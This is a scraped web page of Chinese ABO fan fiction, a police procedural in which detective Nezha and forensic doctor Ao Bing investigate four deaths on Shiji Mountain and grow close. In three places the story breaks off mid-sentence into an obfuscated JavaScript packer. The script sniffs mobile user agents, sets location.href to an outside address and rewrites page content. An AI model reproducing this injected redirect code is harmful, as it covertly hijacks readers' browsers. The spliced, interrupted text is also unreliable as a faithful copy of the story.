《[藕饼]他今天认出我了吗【ABO刑侦】》 3. 没认出我的第三天 >>>>>>>>> 06. 之后的那几天,哪吒先是联合扫黄大队,把玉虚宫给扫了,原先还因为这半年kpi不达标愁眉不展的扫黄大队立刻喜笑颜开。 只是那天给他下药的调酒师已经不见了,只剩白泽一个人孤零零地在吧台内忙活。 哪吒随后又去医院做了个体检,怕那晚的药有什么伤身体的地方。 而空暇时间,他一直在想那天敖丙为什么不发一言就走了。 他甚至反思了一下是不是自己活太差,把人给吓到了,毕竟Alpha易感期的时候确实在那方面会很野蛮,再加上他也是第一次,难免会有不舒服的地方。 可是哪吒细细回味才发现,敖丙哼哼唧唧又啪嗒啪嗒掉眼泪的模样实在不像是被强迫的,更像是一只下巴被摸爽了,于是黏黏糊糊敞开肚皮撒娇的小猫咪。 再往后的几个月,刑警大队好不容易抓到了在逃嫌疑犯的蛛丝马迹,根据摄像头追踪路线、线下走访摸排、联系外省联合调查……身为队长的哪吒也忙碌起来。 每每闲下来的时候,哪吒都在想,那两晚难道只是他的一场梦吗? 直到在山林间再次见到敖丙,淅淅沥沥的小雨落在他单薄的身上,溅起细小的水渍,哪吒一直以来仿佛踩在云端的梦幻感才消失,他终于飘飘然落了地,生出实感。 哪怕那时的敖丙被全副武装在防护服里,哪吒也一眼就认出了他。 可是哪吒依旧想不明白敖丙为什么逃走,也想不明白为什么要特地变了声和他说话。 于是,他也只好装作不认识,寄希望于以后的相处让他可以窥清敖丙的顾虑。 他就像一个长期在蹲守小兔子的猎人,在漫长的等待后好不容易见到了兔子影,于是愈发地小心谨慎。 那晚哪吒本可以让敖丙叫来救护车,可他却选择沉沦在欲.望里。 可是那晚的人,若是换成任何一个别的人,哪吒都不会做出这个选择。 >>>>>>>>> 07. 陈塘关的雨依旧没停,只是和倾泻而下的瓢泼大雨相比,现下这种淅淅沥沥似有若无的绵绵细雨似乎更扰人一些。 打伞不是,不打伞也不是,你甚至不知道被细密的雨水打湿以后会不会迎来一场史无前例的感冒。 “麻烦了,谢谢。” 技术勘查车在公安局停下后,哪吒拉开门立刻下了车,头也不回地进了刑侦大楼。 敖丙刚拿出一直放在车上备用的雨伞,还没来得及递出去,人便已经走了,他顿了顿收回手,对其余同事道:“我们也把尸体搬回去吧。” 人迹罕至的野山上出现四具尸体,暴雨带来信息缺失,侦破难度不可谓不大,足以让陈塘关公安局全员重视。 哪吒在简要给局长,也就是李靖汇报后,又马不停蹄地转身出门,准备回刑警队。 “记得今晚开会,别又给我装忘记了!” 眼看着办公室的门要关上,李靖心累地再次提醒。 哪吒这小子是出了名的不爱守规矩,一有案子就什么都顾不上,开会做汇报也经常只让副队长出面,自己则不知道跑到哪儿去了亲自跑线索。 耐不住他是真有几把刷子,破案效率快,准确度也高,提交上去的材料往往也是一次就够,真要是批评他倒显得有点鸡蛋里挑骨头以及不近人情了。 哪吒听到了,从外面伸了只手进办公室摆了摆,不知道是不会忘还是不会来。 李靖见他这副死猪不怕开水烫的样子,深吸一口气,翻箱倒柜开始找自己的降压药。 他在局长办公室也呆了有一会,回刑警队的时候已经陆陆续续有外勤回来,哪吒扫了眼办公室的人,布置任务:“第一批物证跟我一起回来的,阿丑先去技术科等着,DNA比对上了立刻给我打电话,阿瑶你先去把石矶山出入口一周到十五天前的监控调出来,找几个人一起看死者是什么时候上山的。” “孙成军你去查查这三天有没有上报的失踪案。” 末了又叮嘱一遍:“都给我仔细点。” 假设尸体五天前已经死亡,那么亲朋好友48小时联系不上或许会有人报警。 如果五天前没死,那么为什么不在刚刚下雨的时候下山? 要知道山路难行,雨后危险程度只会更高。 发布完任务,他又往法医室赶。 现在什么线索都没有,最直观的便是看尸体了。 来给哪吒开门的是一个看上去年纪很小的助理,眼睛大大的脸又圆看着虎头虎脑,比哪吒矮了大概一个半头,瞧着眼生但又有些熟悉。 哪吒在门口边穿防护服边问:“你也是新来的?” “是的,李队,我叫申小豹。” 哪吒挑眉:“申公公是你爸?看不出来啊他还挺有本事,年纪轻轻孩子就这么大了。” 申公公本名叫申公豹,申公公是他的外号,他原先也是陈塘关的法医之一,后来升了官调职去了省里。 申小豹敢怒不敢言,瞪着大眼睛在心里骂你才是公公,你个李公公,嘴上却规规矩矩地解释:“申公豹是我哥哥!” 哪吒穿好防护服,带笑点了点头,走到正在尸检的两人身边不远处看着,没有打扰他们。 直到缝上最后一针,哪吒刚要说话,就看到敖丙抓着解剖台眼睛紧闭,额头全是细密的冷汗,摇摇欲坠,像是下一秒就要晕过去。 “敖丙!”哪吒出声。 下一秒他扶住敖丙已经软下来的肩膀,把失去力气的人抱进怀里,王建国在解剖台另一侧连忙道:“应该是低血糖,他早上早饭没吃完就被我拉去现场了,回来又没休息一直在忙,哪吒你先把他抱到旁边休息一下,小豹你去柜子里找点糖啊巧克力什么的。” 哪吒二话不说拦腰把敖丙抱起来,放到不远处的长凳上,又摘掉他的口罩。 在法医室充足的灯光下,敖丙本就白皙的皮肤更加泛着苍白的光,嘴唇也是一片惨白。 “有、有一块黑巧克力。”申小豹在一旁的柜子里翻翻找找,挑出来一条巧克力。 哪吒掰了一小块塞进敖丙嘴里,青年原先蹙起的眉头更加纠结了。 哪吒听到他迷迷糊糊用只有两个人能听到的声音嘀咕了一句:“……好苦啊。” 紧张的神经因为这句话放松了些,哪吒轻轻笑了下。 “还有糖吗?”哪吒看着申小豹又问。 “我找找。”申小豹垫着脚把塑料袋翻得直响,“有有有。” 这时候,王建国也凑了过来:“敖丙没事了吧?” 哪吒又给敖丙拆了颗水果糖,揽着他肩膀让他靠着自己:“应该没事了,你们解剖了几具尸体了?” 王建国:“还差一具,我一回来就把一号死者解剖完了,该送去化验的也都先送过去了,刚才敖丙回来,我俩一起干活效率也就快一点。” 哪吒点头,看了眼法医室挂着的钟:“那你们也先歇一歇,敖丙我这儿看着,都还没吃饭呢吧?小豹你把新的组织样本送去化验,回来的时候顺便买点盒饭。” “那我先歇着去了,站了几个小时哎呦我的老腰呦。”王建国撑着腰哀嚎着走了。 又过了一会,肩膀上人的似乎缓过来了,脑袋晃了晃带着稍许头发扫过哪吒的脖颈。 脖子有点痒,但是哪吒没动,给队里其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪吒嬉皮笑脸道:“随便拆包饼干先垫垫吧,我们这种没老婆盯着的刑警是这样的,新鲜的热饭热菜是吃不上了,只能等问完了话把凉掉的快餐热一热糊口咯!” 敖丙一抬头就对上哪吒笑盈盈的眼睛,对方的视线太过坦率热烈,一些旖旎的不合时宜的情绪在此刻冒了头。 他侧头,躲开了哪吒的目光。 哪吒也没多说什么就要走,走到一半又扭头回到敖丙面前,屈起食指用关节敲了敲他脑门,再次念叨:“还有,要好好吃饭听到没,身体是革命的本钱,有低血糖工作就别这么拼命了,年纪轻轻就一身的病,老了还得了?” 以前工作时也会有同事这么念叨他,但敖丙很少会听,他只是看上去脾气好,实际上有自己的想法,很少会被别人动摇。 可是,那个念叨的人一旦换成哪吒,敖丙竟然有一种乖乖听话的念头。 哪吒敲人是用了点力气的,敖丙脑门都红了一小块。 “疼。”敖丙伸手捂住了脑门,带着怨念看向哪吒,像是撒娇一般出声。 哪吒喉结滚了滚,有一种想亲他的念头。 哪吒竟然觉得面前捂着脑门的人每个动作都可爱的过分了。 “疼才能长记性。”哪吒清了清嗓子,回归正题,“加个微信吧,等会吃完了饭记得给我发个空盘子,不准糊弄我。” “吃饭也要检查,你是幼儿园老师吗?”敖丙似乎对这一行为很是不满,但考虑到他们的工作关系后续还得加微信,于是只好拿出手机。 “是的,敖丙同学,老师不在的时候也要好好吃饭哦,检查合格等老师回来奖励你一朵大红花。”加完微信,哪吒把手机揣回兜里,抬手揉了揉敖丙的脑袋。 4.没认出我的第四天 >>>>>>>>> 08. 李青岩的老婆叫杨流月,一来警局,立刻被安排了认尸。 解剖台上的尸体泛着青白,在法医室明亮的灯光映衬下显得更加冰冷可怖。 女人显然被吓懵了,呆愣愣了好半天,然后踉踉跄跄扑到床边,哭得上气不接下气。 “老公……!” 阿瑶连忙上去扶她:“节哀。” “我、我老公他……”杨流月哽咽着,说不出一句完整的话。 阿瑶语气带着同情和怜悯:“这起案件我们目前还在调查,今天请您过来就是有些问题想问问您。” 女人胸膛还在剧烈起伏,但勉强控制住了颤抖的声线:“我会尽量配合。” 杨流月认完尸后就被女警带去问询室了。 哪吒单手插兜站在单向玻璃外观察她。 杨流月脸上还有未干的泪痕,双手捏着装着热水的玻璃杯,眼睛泛红。 她看上去二十五六的样子,齐耳短发没有化妆,五官没什么记忆点,勉强够得上清秀两个字,白色的羽绒外套搭着黑色的棉裤,里面搭了件米色的毛线背心。 或许是出门时太着急,连内衬毛线马甲的纽扣都扣歪了一排。 她肩膀隐隐抖动着,完全控制不住自己的情绪,可是又担心自己过于伤心会影响到案件的进程。 阿瑶拿好资料,走到问询室门口看向哪吒,在他的眼神示意下推门走进去。 “杨女士,你好点了吗?”阿瑶带着点安抚问道。 杨流月脸上泪痕清晰可见,眼里却很坚定,点点头:“嗯,你们有什么就问吧,我知道的一定会说,希望能早点抓到凶手。” “杨女士,你最后一次见到李青岩是什么时候,你又是什么时候发现他失联的,可以详细说一下吗?” 杨流月说:“我最后一次见他是五天前,当时是早上,我看他出门背了一个很大的登山包,就问他……” 她不知想到什么,莫名沉默了。 “他怎么了?”阿瑶追问。 “他说,他要和朋友去爬山。”杨流月低下头,声音也很轻,“他走了以后我们就一直没联系了,直到三天前,早上我照例给他打电话,他没有接,我一开始以为他是临时有事在忙,于是下午和晚上又给他打了几个电话,他全都没接,我才觉得不太对劲,赶紧去报了警,但我没想到他……” 杨流月鼻尖一酸,眼泪又止不住地落下来。 阿瑶递了包抽纸过去,静等她情绪稳定下来,又问:“你刚说‘照例给他打电话’,照的是什么例?你们之前约定过什么?” 杨流月嗓子有点干,哑着声解释:“我婆婆在我老公高中的时候就去世了,后来家里就剩我老公和公公两个男人住在老房子里,后来我们结婚买了新房,本来是想叫我公公一起来住的,可是公公他不乐意,就一个人还住在老房子里。 大概一年前吧,当时我老公在忙新项目,家都不着,就更没工夫去看我公公了,大约一个多月没和公公联系,没想到我老公突然有天接到警察的电话,说、说……说我公公在家死了,而且因为没人发现,尸体都臭了,邻居实在受不了了来敲门,但是没人应,她们只好报了警,然后就……” “后来我们给公公办了葬礼,我老公当时就说,怕再出现这种死了都没人发现的状况,和我约好了我们俩隔一天就给对方打个电话,确认一下情况。” 哪吒在外面皱眉:“不太对劲。” 身边的刑警有点茫然:“怎么了?” 哪吒:“你结婚没?” 刑警:“结了。” “你和你老婆需要做这种约定吗?”哪吒循循善诱,“每天同床共枕的两个人,为什么要约定隔一天互相联系?” 刑警仔细想了想:“确实有点奇怪。” 哪吒又提醒道:“还有,你平时加班或者出去会联系你老婆吗?” “这当然会了,遇到好玩的事我都会记下来给她发微信,不、不过我从来没占用过上班时间干这些!”刑警本来还很放松,说着说着又严肃正经起来。 哪吒低头笑了下,一只耳朵进一只耳朵出听听也就算了,“所以李青岩和杨流月就更奇怪了,男方出去爬山,没有往家里打过一个电话,微信可能也没发过信息,为什么杨流月在打电话之前没反应过来李青岩已经出事了?” 在目前已经拿回来的物证里并没有发现凶器以及几名死者的手机,哪吒只好让留在山上的人继续搜查。 “呃……因为,因为……”刑警脑子飞速旋转,甚至发出嗡嗡的响声,他紧张得满头冒汗,“因为他们平时都不怎么交流,不打电话也不发消息!” 刑警越说思路也越清楚:“对啊,因为他们平时除了那通约定的电话以外再也没有其他交流,所以杨流月才没有发现,就比如我老婆,如果我上班的时候不理她,她一般也不会管,可是如果休息的时候不理她,时间一长她肯定会给我打电话要么发微信,确认下我在干嘛,要我真出了什么事,不可能等到隔了一天才发现的!这就说明李青岩和杨流月的关系并不好!可是杨流月刚才表现的他们很情深似的。” 哪吒点点头,认同他的说法,“去调杨流月的资料。” “好。” 哪吒又按了下耳麦,给阿瑶下达指令。 问询室里的阿瑶很快就问:“杨女士,可以问下你和李青岩结婚几年了吗?你们平时关系怎么样?” 杨流月用力捏紧杯子,手背青筋凸起:“我们结婚两年了,他是在大学时候追的我,大学谈了几年恋爱,差不多大学毕业没多久就结婚了,结婚以后我老公说不想让我出去吃上班的苦,我就当全职主妇了,我们关系一直很好,从来不吵架。” 阿瑶旁边的警官开口:“冒昧地问一句,你们有孩子了吗?” 杨流月面色逐渐痛苦,摇头:“没有,我去年不小心流掉一个孩子,当时伤了身体也就不能生了。” 阿瑶继续问:“那你知道李青岩有哪些玩的好的朋友吗?又和谁有过摩擦?” 杨流月微微低头,似乎是在回忆,良久才摇头:“抱歉,有过摩擦这个我真的不知道,我老公他很少说这些让人不高兴的事,我只知道他买过登山装备,很喜欢爬山,或许有一起爬山的朋友?” 阿瑶又问了几个问题。 离开的刑警很快带着杨流月的资料回来。 哪吒翻开看了看,毕业、结婚,这些都和杨流月自己说的相差无几,可是有一点,杨流月却没有提过。 在杨流月来之前,哪吒就已经看过李青岩的资料了,李青岩大学学的金融,大二开始就在一家杨峰科技实习,毕业以后转正直接成了一个小项目的经理,后来一路升迁,直到……杨峰科技突然暴雷,公司几乎被人掏空,而公司的法人杨臣远背上巨额债务,最终选择了跳楼自尽,这也都是去年发生的事。 ——而杨流月,是杨臣远唯一的女儿。 “我勒个去,去年这家人发生了这么多事?”刑警跟着哪吒一起看完杨流月的资料,不由地生出几分同情,“先是李青岩他爸因为年纪太大去世,然后杨流月她爸也因为公司破产跳楼去世,而杨流月也不小心流产了……” 没等小刑警揣摩出什么猫腻,哪吒直接拿着资料推门进问询室:“杨流月,你当初为什么流产?” “我、我……”杨流月突然语塞起来,“我那天在家洗澡不小心滑倒撞到肚子了,后来送去医院的时候……孩子就已经没了。” “真的是‘不小心’吗?还是你受到了惊吓,情绪崩溃?”哪吒语气强硬,“我们查到在你父亲杨臣远在公司破产后走投无路选择了跳楼,你是什么时候得知这个消息的?” 杨流月死死低着头,突然噤了声。 问询室里死一般寂静。 “你的丈夫在和同伴掏空了你父亲的公司后,得知了你怀孕的消息,他担心这件事会影响到他的孩子,所以他一直瞒着你你父亲破产的事,可是天不遂人愿,你还是从其他渠道得知了……” “够了!你别说了!”杨流月起先只是默默听着,而后再也不堪重负,歇斯底里地吼叫起来,桌子上的水杯被她失控的手臂扫落,碎了一地。 杨流月抬起头,不知道什么时候已经满脸的泪水,泣不成声。 哪吒静静看她发泄情绪,等她平复心情后全盘托出。 阿瑶有些不忍心地悄悄扭头。 杨流月边哭边摇头:“……我以前是真的很喜欢很喜欢他,可他先是出轨被我拆穿,之后就几乎不回家了,之后又害死我父亲,可是我从来没有想过要让他死。” 杨流月捂面,再也说不下去了。 “我确实恨他,可我没有杀他!”杨流月不由提高嗓门,“我父亲死后我家已经没钱了,我妈也是居无定所在躲追债人,我连离婚的勇气都没有,因为一旦离婚,我这种身上没钱的人就连住的地方都没有了。” 她嘴角扯出一抹惨笑。 指尖敲了敲桌子,哪吒问:“你说他出轨?” 杨流月面无表情地点头,一副破罐子破摔的模样,对什么问题都老实回答:“其实我早就知道李青岩出轨了,大概一年多前,他身上时不时会有别的Omega的信息素味道,我当时和他吵过,还和我爸妈说了,结果我爸让我忍忍,他把公司里的大项目交给了李青岩,不希望我为了这点事闹。 从那以后李青岩就不回家了,偶尔回家也只是为了床上那点事,所以他爸去世以后,他才会和我约定隔一天打个电话给他,后来我怀孕的时候是真的很开心,他开始每天回家陪我,甚至给我换了房子养胎,虽然也收走了我的手机不让我和外界联系,可我以为他是为了我好……谁知道这一切都是他为了不让我知道我爸的事。” 阿瑶问:“你知道他有几个出轨对象吗?” 杨流月:“我只在他身上闻到过一个,对方信息素有点青草香,至于有没有其他的我就不知道了。” 哪吒拍了下阿瑶肩膀,示意自己先出去让她继续,随后推门离开。 门外却站了个意想不到的人,哪吒停住脚,问询室的门在他身后合上。 敖丙已经脱掉了一身的白大褂,蓝色警服衬得他十足的风光霁月。 光是站在那儿就能让来往的小警察频频回顾。 哪吒朝他走过去,“验尸报告出了?怎么不好好休息自己过来了?这种事让申小豹送就行了。” 敖丙也想不通自己为什么非要走这一趟,明明法医的工作只是验尸,而他的工作也该在提交完验尸报告以后就结束。 他以往也都是这样的,别说主动送验尸报告了,和办案的刑警都很少有工作外的交流。 可他今天就是主动请缨过来送报告了,甚至……他还专门去警局斜对面的小炒店打包了两份热菜。 敖丙分不清是因为哪吒信息素对他的吸引,亦或是哪吒这个人本身。 哪吒从问询室出来的一瞬间,敖丙心跳加快了几秒,几乎瞬间就把原先打好的腹稿忘光光了,“……刚才又送过来具尸体,小豹在协助王主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“而且如果真是她杀了人,她在见到李青岩尸体的时候,也不会是那样的表情。”哪吒眯了下眼,想了想形容词,“那种极度痛苦中又带了点松了口气、解脱、恨意、爽快、迷茫以及释然的复杂情绪,你能感觉到她是真的爱李青岩,甚至哪怕知道李青岩出轨、知道李青岩给她爸爸下套,她也依然爱他,但她同样也恨李青岩害得她家破人亡,恨他出轨,恨不得他去死,可是当李青岩真的死了以后,杨流月又会陷入迷茫,她以后要怎么办?” “杨流月她……也是受害人。”敖丙免不了对杨流月产生怜悯。 只是在她的案件里,死去的不是一个真实的人,而是一个曾经单纯青涩的灵魂。 敖丙又不解:“可你为什么觉得,杨流月到现在还爱李青岩呢?” “因为在她见到尸体的一瞬间,最先的反应是痛哭,而且她的痛苦完完全全盖住了其他情绪。”哪吒说,“爱情本身就是一种非常感性毫无道理可言的东西,动心会产生在任何一个瞬间,而那一瞬间一定会让人感觉到美好与快乐,哪怕往后有再多的痛苦,也无法泯灭那一秒的悸动,每每回忆起来还是会有感觉。” 杨流月确实恨李青岩,任谁换到杨流月这个位置都是恨的,可是恨不代表不爱,爱也不代表不恨。 人本身就是很复杂的。 敖丙眼前浮现那天玉虚宫门前哪吒宽大又沉稳的背影,不由地心跳了跳,随后心底又莫名起了点小情绪,“你好像很有经验的样子。” 哪吒憋着笑,又生出点逗人的想法,不答反问:“敖丙,那你谈过恋爱吗?” 敖丙心里冒出不少念头,想着要不要瞎编一点儿经验出来,毕竟出门在外身份都是自己给的,可是想了半天还是只老老实实答了两个字: “……没有。” “好巧,我也没有。”哪吒声音又轻又温柔,含着点水润的笑意,像是怕惊吓到什么小动物似的,和他审讯时候的凌厉冷酷完全不一样。 之前二十多年的人生里,哪吒一直对Omega没什么特殊感觉,成年后的易感期几乎都是自己一个人在家,靠着冷冰冰的抑制剂度过。 直到遇到敖丙。 哪吒不得不承认,敖丙的信息素对他确实有致命的吸引,近乎一天一夜无休无止的易感期说明了一切。 可比那食髓知味的快.感更让哪吒魂牵梦绕的是他踹翻了醉酒的流氓,转身看到敖丙的第一眼。 那么漂亮、纯洁。 仿佛被造物主放置错了世界。 哪吒温柔的语气将敖丙哄得脸颊通红,脑袋乱作一团,还想问什么案件相关的东西,可一时间也想不出来了。 敖丙勉强让自己不去想那些旖旎的东西,却后知后觉反应过来什么—— 哪吒比敖丙高了大约十多公分,按理来说走路步子也会更大,可两人走了一会哪吒却没有拉开任何距离。 因为时不时要给旁边来往的人让路,他们偶尔肩膀都会撞在一起。 他在将就我的步伐。 这个认知让敖丙脸有些热。 敖丙的步子突然迈得大了点,频率也快了。 哪吒疑惑地看向敖丙,不知道他为什么突然加快步伐:“怎么了?” 敖丙已经走到楼梯口了,背对着楼梯站着,“你还是快点回去吧,案子要紧。” “真不差这几分钟,而且你刚吃完饭,走快了对胃不好。”哪吒哭笑不得,余光瞥到楼上有人抱着遮挡视线的大箱子下楼,连忙拽着敖丙的手腕,把他拉到自己身前。 突如其来的意外让敖丙愣了一瞬,还没来及开口,身后就有人和哪吒打招呼。 敖丙侧头看,那人抱着个巨大的箱子,看上去完全看不到路的样子。 哪吒也回应了他。 敖丙问:“他们怎么一直抱着东西来来回回?” 他刚才在楼道里等哪吒的时候还见过这个人。 “法证的,你以后待久了就认识了。”哪吒解释道,“他们今天应该来了新器材,在搬呢。” 敖丙点头嗯了声。 哪吒顺势扣着敖丙的手腕没松手:“走吧,先回我办公室。” 5.没认出我的第五天 >>>>>>>>> 09. 敖丙就这么被哪吒牵了一路,直到刑警队办公室门口。 中途他本想出声提醒,视线却在落到两人相触的手时微微凝滞—— 哪吒的手太热了,热的与周遭沁入皮肤的微凉空气格格不入。 那只手也太大了,大拇指和食指轻而易举地圈住了敖丙的手腕,明明没用什么力气,却让他挣脱不掉。 敖丙无端想起几个月前黏腻又暧昧的那天晚上,哪吒的手也是这么滚热、这么有力地扣着他的下巴,在潮湿又热意的卫生间里,让他直视氤氲水汽镜面中映射出的沉溺在欢愉中的漂亮且模糊的面孔。 于是思绪不知觉就恍惚了。 “队长!”小女警朝门口看了眼,看到哪吒回来,又注意到他身旁的敖丙,“敖法医!” “监控查完了吗?”哪吒问。 “已经让人把监控传回来了,之前遥姐陪我一起的,刚才她去接待杨流月了,所以还差一点点。”小女警指了指电脑屏幕,又说,“刚才敖法医来的时候带饭了,我给你放你办公室了,队长你忙了半天了还是先吃饭吧。” 哪吒挑了下眉看向身旁的人,敖丙看上去面容冷静,和之前别无二致。 两人牵的手不知道什么时候松开了,敖丙觉得手背有些莫名的凉意,他轻咳两声想要掩饰自己的不自在: “之前出门给王主任买东西的时候顺路带的。” 哪吒唇角欲扬,又压了压,最终还是没忍住,勾起唇角语气含笑:“嗯,那就谢谢你顺路带的饭。” “不用谢。” 敖丙语气平静地瞥看头看向另一边,只留给哪吒一只红透了的耳朵。 >>>>>>>>> 10. 哪吒回办公室吃饭了,敖丙留在外面陪着小女警一起看监控。 眼瞧着差不多查完了监控,小女警过去敲开办公室的门: “队长,我和敖法医已经确认李青岩他们进山时间了。” 哪吒刚好吃完饭,连忙跟到她电脑前。 他下巴微扬:“看看。” 小女警拖动监控的视频进度条,说:“石矶山平时很少有人去的,所以我们很快就在12号上午十点左右石矶山南门的监控发现了李青岩的车和另一辆车,他们四个人分了两辆车,这辆车牌号CTG47568的电车是李青岩开的,副驾从监控里看不清楚脸,但根据衣服辨认应该是三号死者。” “第二辆大众是紧跟着李青岩的,车牌号是CTG66552,根据脸部识别是四号死者,他的副驾是二号死者。” 哪吒沉吟:“他们是12号上午的进山,我记得他们死亡时间是……” 他刚要翻开验尸报告确认时间,敖丙就先一步出声:“14号的11-15点间。” 哪吒又问:“12号到14号中间还有别的车进山吗?” 小女警摇头:“这个真没有,我们把石矶山两个入口的监控都查了,除了他们的车外没有别的车了。” “你先去查下车主信息。” 小女警连忙走了,哪吒又翻开验尸报告。 “我们在验尸的时候发现李青岩指甲缝里的血迹是三号尸体的,衣服上的血迹经过化验也证明了是二号和三号死者的……” 手机震了震,哪吒低头回消息,分神问:“你觉得是李青岩杀了他们俩?” 敖丙将自己的猜测说出来:“出化验结果的时候,我确实是这么想的。而且他们四个人一起进的山,石矶山又那么大,外人其实很难找到他们,哪怕真的找到了,他们四个人难道不会对一个陌生人有防备吗?” “衣服上的血迹、指甲缝里的残留血液其实并不能证明是李青岩杀了他们,也有可能是他在发现朋友遇害后靠近他们留下的。”哪吒顿了顿,“还缺少最指向性的一环。” 敖丙瞬间反应过来在推理中自己的疏漏:“凶器!!??” 哪吒点点头,朝他晃了晃手机:“耀东找到凶器了,正在赶回来的路上。” >>>>>>>>> 11. 下午六点,石矶山3.16案总算结束了初步调查。 连带着敖丙,整个刑警队都聚在一起开会。 阿瑶率先将四张死者照片贴到透明黑板墙上:“我们通过车主信息和家属提供的信息,已经查清这四名被害人的详细情况了。” “一号被害人李青岩,Alpha,25岁,之前在杨峰科技工作,半年前已经和朋友合伙了一家新的工作室,那辆电车就是他的。” “二号被害人宋源,Alpha,本地人未婚,27岁,一家小型广告平面的职工,他的父母已经认过尸和录笔录了。” “三号被害人江城宇,Alpha,25岁,是从隔壁市来打工的,未婚,亲属也都不在陈塘关,我们线上先做了份笔录,也联系让他的亲人来认尸。” “四号被害人王旭,Alpha,26岁已婚本市人,是大众的车主,我们很快就联系到了他的妻子来确认情况,他们夫妻感情很好,几乎是问什么说什么,也是她提供的三号被害人信息,但是当我们拿了李青岩和宋源的照片给她时,她确实不认识,而且表示从来没有听王旭提起过。” 另一名刑警又贴了张短信截图在透明板上:“宋源的父母也说不认识另外三个,江城宇的父母因为和儿子是异地,所以并不清楚他的交际情况,不过根据我们目前找到的江城宇的手机,里面并没有存另外几个人的手机号,但手机数据恢复后,发现了他们半个月前就约好了爬山。” “根据监控,他们四个人是五天前,也就是12号上午十点左右进的山,随后在山上安营扎寨过了一天,14号上午的时候遇害,而且从他们进山到遇害的这个时间段里并没有其他的车进入。” 陈耀东接着说:“根据法医的尸检报告,杀死宋源、江城宇和王旭的凶器是同一把,刀长28cm,厚度0.6cm,我们已经在被害人不远处的山涧里找到了。” “凶器经过长时间的雨水侵蚀,留在上面的生物痕迹已经很少了,但是还是化验出了李青岩的DNA信息。” “而李青岩体内……敖法医,李青岩中的毒麻烦你解释一下。” 法医的尸检报告在众人之间传阅开来。 敖丙下意识看了眼和自己站在一起的哪吒,他俩几乎处在人群边缘了,哪吒也是从一开始开会就没再说话。 哪吒眼里的冷气软化了些,朝他点点头。 敖丙朗声解释道:“是这样的,我们尸检发现,李青岩是四名死者中最后一个死亡的,而且他体内不止一种毒素。” “第一种是毒蕈碱,这是一种天然生物碱,多存在于一些野蘑菇里,食用后可能会呼吸困难、恶心呕吐,甚至可能会致幻,四个被害人我们只在李青岩的胃里找到了一些蘑菇残渣以及相应的血液反应。” “第二种毒是山/埃,也就是氰/化/钾,只要口服微量,也会造成猝死,在现场的一个玻璃杯里我们找到了相同的毒素,而且杯身上也只有李青岩一个人的指纹。” 刑警队众人越听眉毛皱得越紧,再结合之前的线索,这起凶杀案的真相呼之欲出。 阿瑶首先开口:“如果没有别的线索,那我先说下我的想法吧,首先这四个人肯定是相互认识的,他们之间绝对有不可告人的秘密,所以平时从不联系,但不知道为什么他们决定这个月12号一起爬山,我倾向于这个日子或许和他们之间的秘密有关。” “可是这次爬山他们之间产生了一些不愉快的事情……”阿瑶皱眉琢磨着,“或许是李青岩和其他三个人之间产生了矛盾?于是李青岩杀害了他们三个,而那三个人也早就给李青岩下了毒,又恰逢14号下午暴雨,最终造成了今天我们到达现场时看到的画面。” 敖丙也看向哪吒,这和他听完整场信息后得出的结论差不多。 外人无法悄无声息地接近这四个人,更无法在杀其中一个人时不惊动另外的人,而且也没有任何证据可以证明这名假设出的陌生人存在。 那么唯一的解释就是他们内部出现了问题,导致了最后的无人生还。 在场的刑警大多也得出了这个结论,因此都无异议。 透明黑板上早就补充上了密密麻麻的线索,刑警们又仔细研究起来,想要看出些什么。 哪吒不置可否,有力的手指有节奏地敲了敲桌子:“那我们可以先给这桩案子定性了,这是一桩仇杀案。” 最先排除掉的就是无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110613|163095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预谋劫财、无差别杀人、愉悦犯犯罪,石矶山偏僻,凶手要等多久才能等到人? 于是,便只剩下了一种可能。 “他们在山上经历了什么导致对彼此下狠手?或者有极小的概率,他们四个人有一个共同的仇人,那个仇人悄悄跟了他们进山,随后适时报复。”哪吒顿了顿,“不过这都逃不开一个问题。” “根据目前的线索来说,这四个被害人不管是工作圈还是生活圈,几乎都是各不相交,那他们是怎么认识的,以及后来又为什么要假装不认识?” “我们接下来的工作,就是竭尽可能找出这四名死者之间的联系。” “敖丙,你明早跟我去李青岩家。” “阿瑶阿丑,你们去宋源那儿。” …… 哪吒依次分配完任务,看了眼办公室的钟,发现已经很晚了,便宣布了下班。 眼看着人都要跑光了,哪吒想起什么:“耀东,等会李局那儿开会,你去,反正详细的我们刚才都聊过了,你给他们汇报一下进展就完了。” 陈耀东有怒不敢言:“……行。” “敖丙。”哪吒一回头就看到敖丙收起手机,胳膊绕过他肩膀搭在另一头,熟稔地调笑,“走吧,带你吃晚饭,折腾这么一下午,别又把我们的大法医饿晕了。” 灼热的气息瞬间靠近,敖丙囧事被提有些不高兴:“我不能走,王主任要我参加晚上的会议。” 但哪吒力气实在大,敖丙在半推半就间还是朝门口走了不少步。 哪吒挑眉:“建国是不是要退休了?” 敖丙有些无奈:“怎么老是这么没大没小。” 他倒不是有什么意见,只是王主任以及现在陈塘关里的领导大都随和脾气好,随意一点也没什么,但是万一以后碰上个死板的不懂变通的官威大的,再这么没规矩,容易吃亏。 “随便喊喊。”哪吒笑笑,随即改口,“老王年纪也大了,我爸和他同一批的,再过两年也要退了。” “王主任也差不多,法医那儿本来就缺人手,所以他希望我能早点把担子撑起来。”敖丙推了推压在自己肩膀上的手,推不动,只好咬了下唇开口,“哪吒,我不能回去,我得去开会。” 